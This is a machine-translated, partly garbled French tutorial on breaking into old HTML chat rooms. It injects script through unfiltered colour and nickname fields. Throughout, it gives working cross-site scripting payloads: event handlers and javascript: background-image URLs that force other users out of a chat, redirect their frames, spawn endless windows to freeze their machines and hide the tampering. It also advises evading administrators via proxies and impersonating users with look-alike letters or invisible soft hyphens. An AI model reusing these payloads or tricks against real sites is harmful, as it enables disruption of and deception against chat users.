This page has been robot translated, sorry for typos if any. Original content here.

Hacking Chat Part 1 (Théorie et Pratique)



  • Partie 1
  • Partie 2


  • Cette page n'appelle en aucun cas des activités illégales, des "crackers", etc. L'objectif principal est d'étudier les fonctionnalités de HTML et d'éviter les erreurs liées à son utilisation. Pour toute utilisation illégale des informations fournies, l'auteur ne porte aucune responsabilité. A propos de toutes les erreurs trouvées dans les salles de chat, l'administration du chat a été informé par l'auteur.
    Tous les exemples donnés dans l'article sont testés et fonctionnent dans MSIE 5.50.4134.0600. Je ne peux pas garantir la disponibilité d'autres versions, mais je suis sûr que presque tous les exemples fonctionneront là.

    Glossaire

    Pirater un surnom (gestionnaire sans guillemets)
    Pirater le surnom (le gestionnaire est entouré de guillemets)
    Pirater par le pseudo (le filtre ne saute pas les guillemets / symboles)
    Pirater la couleur (attribut sans guillemets)
    Pirater par la couleur (attribut avec des guillemets)
    Sur quels symboles vous devez vérifier les filtres
    Limiteurs de Handler
    Falsification de surnoms, surnoms vides

    Théorie générale

    Ici, je veux arrêter à la base des discussions de hacking. Je suis désolé devant les lecteurs avancés - ces méthodes ont longtemps été connus et vieux comme le monde. Si vous êtes suffisamment avancé, vous pouvez vous concentrer sur les chapitres suivants.

    Tout d'abord, je tiens à noter que chaque discussion est originale et unique (à l'exception des copies répliquées d'une tsitshka, bien sûr). Parce qu'il n'y a absolument aucun moyen universel de piratage. Presque chaque discussion a des caractéristiques qui doivent être prises en compte, et sans prendre en compte qui, les modèles stupides ne fonctionneront pas.

    Tout d'abord, qu'est-ce que je comprends vraiment en piratant le chat HTML? Ce n'est pas une inondation banale, et pas d'attaques sur le chat IP. Par cambriolage, nous entendons une modification non autorisée du code HTML du document de discussion, ou l'accès à des parties cachées de celui-ci (par exemple, des fichiers privés), c.-à-d. un tel impact sur le chat, qui n'a pas été fourni et autorisé pour les utilisateurs. Cela s'applique non seulement aux chats, mais aussi aux forums, livres d'or, etc. (où toutes les méthodes décrites fonctionnent aussi et même mieux, parce que ces formes sont en général protégées, pire que les chats).

    Tout ce qui précède s'applique uniquement aux discussions HTML. Le piratage des conversations Java est une chanson séparée et complètement différente. J'espère que vous pouvez distinguer un type de discussion d'un autre :) ).

    Nous sommes donc au seuil du chat HTML. Disons que nous voulons le tester pour la "force". Que dois-je faire en premier? Tout d'abord, nous nous connectons via un proxy anonyme (j'espère que vous savez de quoi il s'agit). Ceci est nécessaire pour deux raisons: premièrement, nous fournissons notre anonymat (ce serait l'administrateur de l'oncle pas poussé sur le cul), et deuxièmement, si l'administrateur n'aime pas nos expériences et il ferme la fenêtre de chat, nous pourrions passer Leur proxy à d'autres adresses IP et encore une fois dans le chat. La vérité ici est une chose: l'accès à certaines conversations n'est pas autorisé par des procurations publiques.

    Ensuite, nous devons déterminer quel type d'armes nous avons, c'est-à-dire quels attributs peuvent être définis par l'utilisateur. En règle générale, dans toutes les discussions, vous pouvez entrer le surnom de l'utilisateur, ainsi que la couleur de l'utilisateur. En outre, vous pouvez parfois définir le SOAP de l'utilisateur, sa page d'accueil, le sexe, la fréquence de mise à jour du chat, etc. En pratique, des champs tels que couleur, pseudo, savon et page d'accueil de l'utilisateur sont intéressants. Ils sont insérés directement dans le corps du document, et c'est donc à travers eux que vous pouvez attaquer le chat. Il convient de noter que dans certaines conversations, vous devez vous enregistrer, et certains attributs sont définis lors de l'inscription, et une partie - juste avant d'entrer dans le chat (ou déjà dans le chat). Les chats avec enregistrement, en règle générale, sont plus entassés et mieux protégés.

    > Indiquer par vous-même les possibilités de piratage. Tout d'abord, nous allons affiner le fragment de code dans lequel la couleur de nos messages est définie (en passant, la couleur peut être définie séparément pour le pseudo et le texte des messages, vous devez les vérifier tous les deux car ils peuvent être analysés différemment). Pourquoi sommes-nous principalement intéressés par la couleur? Parce que la couleur est indiquée à l'intérieur des étiquettes, dans leurs paramètres, contrairement, par exemple, au surnom, qui apparaît le plus souvent dans le corps des étiquettes. Et pour pirater un chat, nous devons pénétrer dans les paramètres de la balise, afin de pouvoir modifier ses attributs ou insérer votre script (parfois, il est possible d'écrire simplement des balises dans le texte des messages, par exemple chat.rambler chat . ru , mais cette option est tellement bête que de tels chats n'existent probablement plus, et je ne le considère pas).

    Nous nous intéressons au type d'information sur la couleur envoyée au serveur. Le type de chaîne le moins sécurisé est lorsque la couleur est transmise sous la forme de son propre nom. Par exemple:

    <select name=youcolor style="width: 70px">
    <option value=blue>синий value=blue
    <option value=red>красный
    <option value=darkred>т-красный
    <option value=green>зеленый
    <option value=black>черный value=black
    <option value=lightblue>голубой value=lightblue
    </select>

    Cette conversation, en règle générale, se décompose dans une certaine mesure :) . Une option pire si la couleur est retournée sous forme de code numérique:

    <select name=youcolor style="width: 70px">
    <option value=#0000FF>синий value=#0000FF
    <option value=#AF0000>красный
    <option value=#FF0000>т-красный
    <option value=green>зеленый
    <option value=#000000>черный value=#000000
    <option value=#0000AF>голубой value=#0000AF
    </select>

    Dans un tel chat, peut - être , il y a des filtres sur tous les symboles sauf les chiffres, le signe # et les lettres A, B, C, D, E et F. Ensuite, nous devons oublier de pirater la couleur.

    Et enfin la pire option, lorsque la couleur est simplement transférée en tant que nombre de la liste des couleurs acceptables:

    <select name=youcolor style="width:70px">
    <option value=1>синий <
    <option value=2>красный <
    <option value=3>т-красный <
    <option value=4>зеленый <
    <option value=5>черный <
    <option value=6>голубой <
    </select>

    En règle générale, un tel chat par la couleur ne peut pas être piraté (et souvent même impossible). C'est l'option la plus sécurisée (en passant, je recommande les développeurs de chat).

    Ensuite, nous devons changer le code HTML afin que nous puissions envoyer librement des valeurs arbitraires d'attributs au serveur. Pour ce faire, enregistrez le site sur votre disque et modifiez le formulaire de connexion pour discuter (ou enregistrer) de la façon suivante: changez l'adresse relative du paramètre d' action de formulaire en adresse complète. Nous remplaçons tous les tags de type cachés par du texte type, et sélectionnons des tags avec entrée . En outre, vous devez supprimer les restrictions sur la longueur de la valeur d'entrée (le cas échéant). Par exemple, si le formulaire d'origine avait la forme:



    <form name="logon" method="POST" action="/cgi-bin/chat/chat.cgi">
    <table cellspacing="0" cellpadding="0">
    <tr>

    <td valign="middle">
    <small>Nickname:</small>
    <input type="text" name="username" size="12" maxlength="12" >
    </td>

    <td valign="middle"><small> TextColor:</small>
    <select name="color">

    <option selected value="black">black
    <option selected value="red">red
    <option selected value="blue">blue
    </select>

    </td>
    <td valign="middle">

    <small>
    <input type=submit value="Join Chat">
    </small>
    </td>

    <input type=hidden name=message value="logged on.">

    <input type=hidden name="logon" value="">
    <input type=hidden name=to value="Room">
    <input type=hidden name=frames value="yes">

    </td>
    </tr>
    </table>

    </form>


    Ensuite, après les substitutions appropriées, nous obtenons:



    <form name="logon" method="POST" action="http://typachat.ru/cgi-bin/chat/chat.cgi">

    <table cellspacing="0" cellpadding="0">
    <tr>

    <td valign="middle"><small>Nickname:</small>

    <input type="text" name="username" >

    </td>

    <td valign="middle"><small> Text Color:</small>

    <input name="color">

    <option selected value="black">black
    <option selected value="red">red
    <option selected value="blue">blue

    </select>

    </td>
    <td valign="middle">

    <small>
    <input type=submit value="Join Chat">
    </small>
    </td>

    <input type=text name=message value="logged on.">

    <input type=text name="logon" value="">

    <input type=text name=to value="Room">
    <input type=text name=frames value="yes">

    </td>
    </tr>
    </table>

    </form>


    Notez qu'un document peut être créé dynamiquement via des fonctions telles que document.write () , puis, très probablement, vous devrez le convertir en vue statique. En outre, il arrive souvent qu'après avoir sauvegardé du HTML sur un disque, le chat ne veut pas s'ouvrir. Cela peut être causé par le fait que le site n'a pas été complètement enregistré, s'il s'agissait d'images. Dans ce cas, vous devez mieux comprendre la structure de la page et garder tout à droite. Une autre raison peut être que le serveur garde une trace du champ référant de l'en-tête de requête du http, et il détecte que nous ne venons pas de sa page. Dans ce cas, vous devez utiliser d'autres méthodes, dont nous parlerons dans le chapitre "Hacking au niveau de http".

    Maintenant, nous pouvons expérimenter avec le chat. Tout d'abord, vous devez trouver quels filtres sont sur les valeurs d'entrée (d'abord pour la couleur et le surnom). Nous sommes principalement intéressés par les symboles suivants:

    " ' " = < > ; \ & % écart

    Nous entrons dans le champ de couleur et le surnom, allez dans la salle de chat (si nous sommes autorisés à y aller avec de tels attributs, sinon nous devrons passer un par un), et voir quels symboles ont été manqués par le filtre. avoir honte dans le texte HTML de la couleur et des symboles de nick qui sont présents). Certaines salles de discussion suppriment simplement les caractères filtrés, d'autres les remplacent par d'autres symboles, et d'autres convertissent en une forme codée de type < ou ' . De tels symboles transformés ne nous conviennent pas, puisque HTML ne les accepte pas (cependant, pour plus de détails, voir le chapitre "Encore un peu de piratage du T-chat qui souffre depuis longtemps").

    Par conséquent, nous devons avoir une liste de caractères à ignorer pour chaque attribut du formulaire d'inscription.

    Ensuite, nous avons la tâche d'entrer dans n'importe quelle balise afin de changer son pramatra ou d'y insérer son script. Il y a deux manières fondamentalement différentes de faire ceci: la première est que le code dont nous avons besoin passe par les attributs qui sont déjà dans la balise (par exemple entre les chevrons) - par exemple, par la couleur ou l'adresse du savon. La seconde consiste à casser la structure du code HTML de telle sorte que le code dont nous avons besoin se trouve dans la balise. Comment faire ceci est déterminé en analysant la structure concrète du code de chat et l'ensemble des symboles non filtrés pour nos attributs. Nous allons considérer diverses variantes de piratage dans les exemples suivants. En attendant, je voudrais m'attarder sur certaines fonctionnalités de HTML, qui permettent en réalité de produire des "effets" intéressants.

    Caractéristiques HTML

    P> Ici, je ne vais pas donner de cours sur HTML pour les théières. J'espère que vous savez ce qu'est un tag et ses paramètres, que vous connaissez JavaScript et que vous avez écrit au moins une page Web dans votre vie sur HTML (et non dans FrontPage).

    Le plus gros problème (et en même temps, la force) de HTML est qu'il n'a pas un seul standard. C'est-à-dire, il semble être là, mais les normes sont si diverses, et il y en a tellement en HTML que personne ne le sait vraiment (et souvent ne sait pas de quoi il s'agit). De plus, la concurrence entre navigateurs et l'hétérogénéité des sites conduit à ce que les navigateurs essaient de supporter autant de standards et de technologies que possible. Et le manque de standards communs a conduit à ce que les webmestres, même sur une page, parviennent à mélanger de différentes manières dans différents styles: o (Cependant, cela permet aux pirates de pirater le HTML, et donne beaucoup de maux de tête aux développeurs.

    Une question simple: quels sont les délimiteurs en HTML et JavaScript? Même moi, je ne peux pas répondre immédiatement et sans équivoque à cette question. Considérons un exemple:

    <font onclick= "alert()">Text</font>

    Ici tout est clair et évident. Il y a une balise qui a un gestionnaire d'événements click écrit en JavaScript, dont le texte est entre guillemets. Le fait que JavaScript soit utilisé peut être spécifié explicitement:

    <font onclick="javascript:alert()">Text</font>

    Les délimiteurs de la chaîne dans ces exemples sont des guillemets. Cependant, vous pouvez faire sans eux. Puisque après onclick = seule une chaîne de gestionnaire statique peut partir, HTML permet d'omettre les guillemets (cela s'applique à de nombreux cas où l'argument ne peut être qu'une constante chaîne). Donc, cette conception fonctionne également:

    <font onclick=alert()>Text</font>

    et maintenant, au lieu d'un message vide, nous allons insérer quelque chose de significatif:

    <font onclick=alert('Привет друзья!')>Text</font>

    L'ouverture du lien de démonstration montre que cet exemple ne fonctionne pas. La raison en est la suivante: le corps du gestionnaire ne peut pas être entouré de guillemets, mais dans ce cas, le premier espace est considéré comme la fin du gestionnaire de ligne (même si l'espace lui-même est à l'intérieur des guillemets). Par conséquent, le navigateur considère que le processeur n'est qu'un fragment d' alerte ("Bonjour , et trouver un guillemet ouvert est un message d'erreur, pourquoi le navigateur ne répond pas à l'espace entre guillemets? Le navigateur a "vu" qu'il n'y avait pas de guillemet après le signe et a donc cherché un espace comme fin du gestionnaire, mais l'intérieur du gestionnaire ne l'intéressait pas à ce moment, puisqu'il ne faisait pas référence au HTML, mais au JavaScript. a pris un espace après un cheval Les valeurs des paramètres suivants fonctionnent sans erreurs:

    <font onclick="alert('Привет друзья!')">Text</font>
    <font onclick=alert('Привет_друзья!')>Text</font>
    <font onclick="alert('Привет друзья!')"onmouseover='alert()'>Text</font>
    <font color=alert('Привет друзья!')>Text</font>

    Notez une caractéristique importante: si la valeur du paramètre tag est entre guillemets, alors l'espace avant le paramètre suivant peut être omis (la troisième ligne de l'exemple). La quatrième ligne de l'exemple fonctionne également (dans le sens où le navigateur ne jure pas, mais le script ne marche pas), car le navigateur ne considère pas le contenu de la couleur de l' attribut JavaScript et ne jure donc pas sur une citation ouverte . Salut (comme la couleur en HTML peut être une chaîne arbitraire, dans ce cas, le navigateur convertit la chaîne en une certaine valeur numérique qui est considérée comme une couleur).

    S'il existe d'autres caractères - délimiteurs du processeur sans guillemets (sauf pour un blanc et un symbole > ) une question ouverte. Je ne connais pas de telles personnes, mais j'avoue qu'elles peuvent l'être.

    Comme vous pouvez le voir dans les exemples ci-dessus, les délimiteurs de ligne peuvent être des guillemets simples et doubles. Ceci s'applique également au HTML et au JavaScript, cependant, il s'avère qu'il y a au moins un caractère supplémentaire qui est un délimiteur de chaîne en HTML (mais pas en JavaScript!). C'est le caractère de l'apostrophe inverse ` (généralement situé sur une touche avec la lettre E ). Vous pouvez vérifier l'exemple suivant:

    <font onclick=`alert('Привет друзья!')`>Text</font>

    Je jure qu'au moins 90% des webmasters ne le savent pas! En tout cas, je n'ai pas encore vu que quelqu'un utiliserait une apostrophe inverse. Ce symbole est une aubaine :) ).

    Il arrive souvent qu'il est nécessaire d'utiliser entre guillemets - autres. Et c'est difficile, surtout si le chat saute seulement un genre de citations. Mais il s'avère que JavaScript vous permet d'insérer des constantes de chaîne à l'intérieur d'autres constantes de chaîne, et en même temps en utilisant les mêmes guillemets! Par exemple:

    'javascript:st='Фиг вам';document.oncontextmenu=new Function('event.returnValue=alert(st)*0')'

    L'exemple utilise des guillemets simples imbriqués, mais pas l'interpréteur d'erreur. Je note que le contenu des guillemets internes n'est pas arbitraire: ils ne doivent pas contenir d'espaces, et à la fin certains symboles ne sont pas autorisés, par exemple ; ou ) .

    Parlons maintenant des liens. Tout d'abord, il convient de noter ces détails: le développement d'Internet était tel qu'il mêlait des technologies complètement différentes. L'accès à l'information peut se faire à travers un grand nombre de protocoles différents. Par conséquent, lors de la spécification du chemin d'accès complet du document (URL), il est possible de spécifier l'un des protocoles familiers au navigateur. Il est à noter que javascript est également assigné aux protocoles (bien que ce ne soit pas le cas, mais apparemment les développeurs ont estimé qu'il serait trop audacieux d'allouer un concept séparé pour les scripts, et les ont rangés dans les protocoles). Par conséquent, partout où vous pouvez spécifier une URL dans un document HTML, vous pouvez insérer un script. Et ce script s'exécutera dès que l'utilisateur (ou le navigateur lui-même) demandera ce lien. Par exemple:

    <a href=javascript:alert()>Text</a>

    Fait intéressant, en plus des opérateurs, dans une référence à JavaScript, vous pouvez simplement spécifier une valeur chaîne (ou numérique) (cependant, nécessairement après les opérateurs, le cas échéant). Lorsque vous cliquez sur un tel lien, le navigateur exécute d'abord les opérateurs en avant, puis ouvre un nouveau document et place la valeur de la dernière ligne dans le lien:

    <a href=javascript:alert();'Hello!!'>Text</a> Je noterai que les tags ne peuvent pas être insérés dans une nouvelle page de cette manière.

    Hacking R chat

    Voici un exemple de l'un des premiers chats piratés. Cette conversation était très simple, et a piraté ce qu'on appelle dès le premier appel :) ).

    Et maintenant il n'y a pas assez de chats dans lesquels ça passe. Bien que je pensais à ces méthodes moi-même, mais ensuite je les ai trouvées dans les magazines de hackers.

    La forme d'entrée de ce chat correspond exactement à la forme donnée dans le chapitre "Théorie générale". Après avoir converti et enregistré le formulaire sur le disque, j'ai vérifié quels caractères de l'attribut de couleur passaient. Il s'est avéré que les symboles suivants passent (parmi ceux qui nous intéressent - voir le chapitre "Théorie générale"):

    ' " = ; % écart

    Eh bien, bien sûr, tous les chiffres et les lettres ont passé. La longueur de la valeur de la ligne de couleur n'était pas limitée. Ensuite, j'ai regardé où exactement la couleur est insérée dans le télégramme. Voici un fragment de ce cadre:

    <font color=Black><b>Путник</b>- Alpha, привет ))</font>
    <font color=Red><b>Alpha</b>- Всемприветик !!</font>

    Comme vous pouvez le voir, la couleur est insérée sans entourer les citations. Cela me convenait. Je me suis connecté sous le pseudo Shram (enfin, ou presque sous un tel pseudo;)) et la couleur rouge size = 20 . Mon message ressemblait à ceci:

    <font color=red size=20><b>Algol</b>- Hi</font>

    Il a été imprimé dans une très grande police, ce qui a surpris la population du chat :) ).

    Ainsi, malgré le fait que nous ne pouvons pas directement insérer des balises, la permission d'entrer un espace dans l'attribut couleur nous a permis de spécifier des paramètres non autorisés de la balise. Cependant, ce n'était bien sûr pas assez pour moi. Changez la taille de la police bien sûr, mais quelque chose d'utile ne peut être fait qu'en utilisant des scripts. Je ne pouvais pas insérer le tag de script directement (ou plutôt je ne savais pas encore comment le faire). Mais je pourrais mettre le gestionnaire à une étiquette d'événement. C'est la couleur que j'ai demandé, ce qui enlèverait un nerd du chat:
    #A0A000 onmouseover=parent.frames[2].forms[0].ExitChat.click() size=30. Et puis je lui ai envoyé un long message à privat. La couleur du message que j'ai ramassé de telle sorte qu'elle ne diffère pas de la couleur de fond. Et la taille de la police et la longueur du message étaient si énormes que la victime a probablement marché au moins une fois avec la souris sur le message, à la suite de quoi mon gestionnaire onmouseover a appuyé sur le bouton " Leave Chat" au lieu de l'utilisateur. :) ).

    Cependant, progressivement, il y avait des hommes intelligents, qui avaient compris le truc, et délibérément ne pas déplacer le curseur sur la fenêtre de chat. Mon script n'a pas toujours fonctionné :( (Au début, je pensais qu'il n'y avait pas d'issue, car je ne peux insérer le script que comme gestionnaire d'événements, mais si le script ne fonctionne pas, alors le script ne marche pas.) Mais en trouvant les annales, j'ai trouvé une solution et il est largement connu.) Dans l'attribut style, vous pouvez spécifier l'URL du papier peint pour le tag, et où vous pouvez spécifier l'URL, vous pouvez écrire le script, et surtout, que l'image d'arrière-plan a été téléchargée lors du chargement du document HTML! Pour afficher l'alerte aux participants au chat, je me suis connecté avec la couleur suivante Ceci:

    style=background-image:url(javascript:alert('приветик_всем_!!'));

    Il convient de noter un détail important: puisque la structure de la plupart des chats HTML est telle que la page est mise à jour régulièrement, le script envoyé de cette manière est exécuté plusieurs fois, jusqu'à ce que notre message disparaisse de l'écran.

    Mais voici comment la valeur de l'attribut de couleur pour abandonner le chat regardé:

    style=background-image:url(javascript:parent.frames[2].forms[0].ExitChat.click());

    Vous devez vous rappeler: le script envoyé en privé, sera vu non seulement par votre "interlocuteur", mais par vous-même, vous devez donc savoir comment vous protéger de l'influence du script. Cela peut être fait de deux façons: soit vous mettre dans l'ignorance (et ensuite nous ne verrons pas vos propres messages), ou dans les paramètres du navigateur pour interdire l'affichage des images. Ensuite, le script qui se déclenche à travers l'image d'arrière-plan ne fonctionnera pas.

    Maintenant, je veux montrer quelques scripts utiles qui peuvent être utilisés dans les chats piratés:

    javascript: naviguez ('http://myserver.ru'); - Charge myserver.ru dans le cadre actuel (ou page).
    Certaines conversations, lorsque vous voyez le fragment http: // , considèrent cela comme un lien, et la balise <a> est automatiquement insérée. Puisque ceci détruira notre manuscrit, ceci ne devrait pas être permis. Pour ce faire, omettez simplement le préfixe http: (qui est déjà accepté par défaut). Ensuite, le script ressemblera à ceci: javascript: naviguez ('// myserver.ru'); Deux avant le slash sont obligatoires.

    javascript: parent.frames [2] .document.location = 'http: //myserver.ru' - charge myserver.ru dans l'un des cadres.

    javascript: for (;;) open () - ouvre un nombre infini de fenêtres (s'il n'est pas navigué dans le temps, il entraîne le blocage de la machine et le redémarrage suivant).

    javascript: document.write ('<script> alert () </ script>') - remplace l'image actuelle par un script, qui est ensuite exécuté. Note: si le chat ne manque pas les <et> (et c'est le nombre écrasant de chats), alors nous ne pouvons pas insérer un tel script. Mais il y a un moyen de sortir. C'est une application de la fonction unescape () , qui convertit le code ASCII du caractère en caractère. Nous remplaçons les chevrons par la fonction unescape () avec les codes correspondants, puis notre script ressemblera à ceci:

    javascript:document.write(unescape('%3C')+'script'+unescape('%3E')+'alert()'+unescape('%3C')+'/script'+unescape('%3E')) javascript:this.insertBefore(e=document.createElement('IMG'));e.src='demo.jpg' - insère l'image après le texte. Notez que dans IE 5.x, vous pouvez insérer n'importe quelle balise autre que FRAME, IFRAME et SELECT.

    Mais dans IE 4.x, la fonction createElement () permet uniquement d' insérer des balises IMG , AREA et OPTION . Je n'ai aucune information sur Netscape, vous pouvez vous expérimenter. 'javascript:st='Фиг вам';document.oncontextmenu=new Function('event.returnValue=alert(st)*0')' / * bloque le menu déroulant de la page, rendant ainsi inaccessible le contenu HTML de la trame. Grâce à cela, vous pouvez cacher vos machinations avec le corps de chat :) ). * / Parfois, il est utile de se connecter avec le surnom de quelqu'un d'autre. Chats avec un système d'enregistrement d'utilisateur ne vous permettra pas de le faire si vous ne connaissez pas le mot de passe (et vous ne le connaissez probablement pas). La sortie banale: inscription avec un surnom dans lequel la lettre de l'alphabet latin est remplacée par une lettre très similaire de la mise en page russe. Par exemple, connectez-vous sous le pseudo admin où la lettre latine a est remplacée par russe a . La méthode est primitive, mais ça marche)). Il y a aussi des cas plus graves. Par exemple, dans certaines conversations, il est interdit d'utiliser des personnages de différentes dispositions dans un seul pseudo. Alors l'esprit curieux n'a d'autre choix que de se tourner vers Oncle Gates pour obtenir de l'aide. Et maintenant, elle est gentille, Microsoft n'a pas oublié les utilisateurs pécheurs et nous a donné un symbole ­ (aka ­ c'est % AD ), que la société microsoft a appelé "Soft hyphen" ("Short hyphen"). Il ressemble vraiment à un trait d'union dans Word, et dans un Excel aussi, et même dans un cahier, mais pas dans IE! Pour l'explorateur d'icônes de Microsoft ­ n'existe tout simplement pas, c'est-à-dire qu'il semble exister, mais pour lui ils ont oublié de faire une représentation graphique. Il n'apparaît tout simplement pas dans la page HTML! Ainsi, en ajoutant un court tiret à n'importe quel pseudo et en nous inscrivant, nous entrons dans le chat avec le surnom, qui regardera la page HTML comme le pseudo sans trait d'union. Et vous pouvez le rendre encore plus cool - connectez-vous avec un surnom qui ne contient que de courts traits d'union. Alors votre pseudo ne sera pas affiché du tout, endroit absolument vide)).

    (Note: Alors que j'étais déjà un peu court avec le trait d'union court, je trouvais toujours des cas où il apparaît: Il apparaît seulement comme trait d'union, si un trait d'union est court et si ce mot est à la fin de la ligne être déplacé à la ligne suivante, et le tiret lui-même devient visible! Ainsi, il est possible que le trait d'union soit invisible - la caractéristique préemptive du microsoft (qui ne réduit pas, cependant, son utilité dans le cambriolage :) ). La vérité n'est pas claire: pourquoi reste-t-il toujours visible dans d'autres applications?)



    Plus de 2 heures >>